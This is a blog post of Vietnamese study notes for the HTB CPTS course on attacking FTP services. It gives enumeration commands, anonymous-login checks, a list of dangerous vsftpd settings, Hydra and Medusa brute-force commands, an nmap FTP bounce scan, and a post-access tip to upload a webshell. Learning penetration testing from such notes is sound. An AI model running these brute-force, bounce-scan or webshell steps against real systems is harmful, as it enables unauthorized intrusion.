Post

Attacking FTP

HTB CPTS note về enumeration và khai thác dịch vụ FTP.

Attacking FTP

Port: 21 (control) / 20 (data)

Bản chất: Giao thức truyền file không mã hóa — credential truyền plaintext qua mạng.


Điểm yếu cốt lõi

  • Anonymous login: nhiều server cho phép đăng nhập không cần mật khẩu (anonymous:anonymous)
  • Cleartext: username/password có thể bị sniff trên wire
  • No rate limiting: brute-force thường không bị chặn
  • Misconfigured permissions: share có thể đọc/ghi file nhạy cảm

Enumeration

1
2
3
4
5
6
7
# Banner grab bằng netcat
nc -v 192.168.2.142 21

# Nmap — banner + anonymous check + scripts
sudo nmap -sC -sV -p 21 <IP>
# -sC chạy ftp-anon tự động, output liệt kê file nếu anonymous login được phép
# Dấu [NSE: writeable] = thư mục anonymous có thể ghi
LệnhMô Tả
ftp <FQDN/IP>Kết nối tới FTP
nc -nv <FQDN/IP> 21Lấy banner FTP
openssl s_client -connect <FQDN/IP>:21 -starttls ftpKết nối FTPS
wget -m --no-passive ftp://anonymous:anonymous@<IP>Tải toàn bộ file từ FTP
nmap -sV -p 21 --script ftp-anon,ftp-bounce,ftp-syst <FQDN/IP>Kiểm tra FTP bằng Nmap

Anonymous Login

Misconfiguration nguy hiểm nhất: server cho phép login với username anonymous, password để trống hoặc nhập bất kỳ email.

Nếu permission không được set đúng, attacker có thể đọc file nhạy cảm hoặc upload script độc hại — sau đó kết hợp với lỗ hổng khác (ví dụ path traversal trên web app) để execute file đó như PHP code.

1
2
3
4
# Kết nối FTP client + thử anonymous login
ftp 192.168.2.142
> anonymous
> anonymous@

Lệnh cơ bản sau khi đăng nhập:

1
2
3
4
5
6
7
ls -la          # liệt kê file (kể cả hidden)
cd /dir         # di chuyển thư mục
get file.txt    # download file
mget *.txt      # download nhiều file
put file.txt    # upload file
binary          # chuyển binary mode (bắt buộc khi transfer file không phải text)
passive         # bật passive mode nếu bị firewall

☠️ Dangerous Settings — FTP

SettingNguy hiểm vì
anonymous_enable=YESCho phép đăng nhập không cần credentials
anon_upload_enable=YESAnonymous có thể upload file lên server
anon_mkdir_write_enable=YESAnonymous có thể tạo thư mục
no_anon_password=YESKhông hỏi password khi login anonymous
xferlog_enable=NOTắt logging → attacker không bị trace
write_enable=YESMọi user đều có thể ghi file
ssl_enable=NOKhông mã hoá → sniff được credentials

Brute-Force

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Hydra — single user
hydra -l user1 -P /usr/share/wordlists/rockyou.txt ftp://192.168.2.142

# Hydra — user list
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ftp://192.168.2.142

# Hydra — thêm thread và verbose
hydra -l user1 -P /usr/share/wordlists/rockyou.txt ftp://192.168.2.142 -t 4 -V

# Medusa — single user
medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h <IP> -M ftp

# Medusa — user list
medusa -U users.txt -P /usr/share/wordlists/rockyou.txt -h <IP> -M ftp

Hydra vs Medusa: cú pháp khác nhau nhưng cùng mục đích. Hydra dùng -l/-L, Medusa dùng -u/-U.

Hầu hết ứng dụng hiện đại có rate limiting hoặc lockout — **Password Spraying thường hiệu quả hơn brute-force toàn bộ wordlist.**


FTP Bounce Attack

Bản chất: Lệnh PORT trong FTP cho phép client chỉ định IP:port để server kết nối vào. Attacker lợi dụng để bắt FTP server trung gian (exposed) proxy scan sang máy nội bộ (không exposed trực tiếp từ internet).

Luồng tấn công:

1
2
3
Attacker → FTP_DMZ (exposed, internet-facing)
                  ↓ PORT command chỉ vào Internal_DMZ
         Internal_DMZ (không accessible trực tiếp)

Điều kiện: Server FTP mục tiêu misconfigured — không chặn PORT tới địa chỉ ngoài client.

Ứng dụng: Internal port scan qua pivot FTP — lấy thông tin mạng nội bộ không accessible trực tiếp.

1
2
3
4
# Nmap FTP bounce scan — scan port 80 của 172.17.0.2 thông qua FTP server 10.10.110.213
nmap -Pn -v -n -p80 -b anonymous:password@10.10.110.213 172.17.0.2

# Cú pháp: -b <user>:<pass>@<ftp_proxy_ip>

Server FTP hiện đại thường đã block kỹ thuật này theo mặc định. Chỉ hiệu quả khi server misconfigured hoặc dùng phần mềm FTP cũ.


Post-Access

Sau khi có credentials, tìm kiếm:

  • Config files (.conf, .ini, .env)
  • Credentials được hardcode
  • Web root nếu FTP trỏ vào /var/www/html → upload webshell
  • Backup files (.bak, .old, .zip)
This post is licensed under CC BY 4.0 by the author.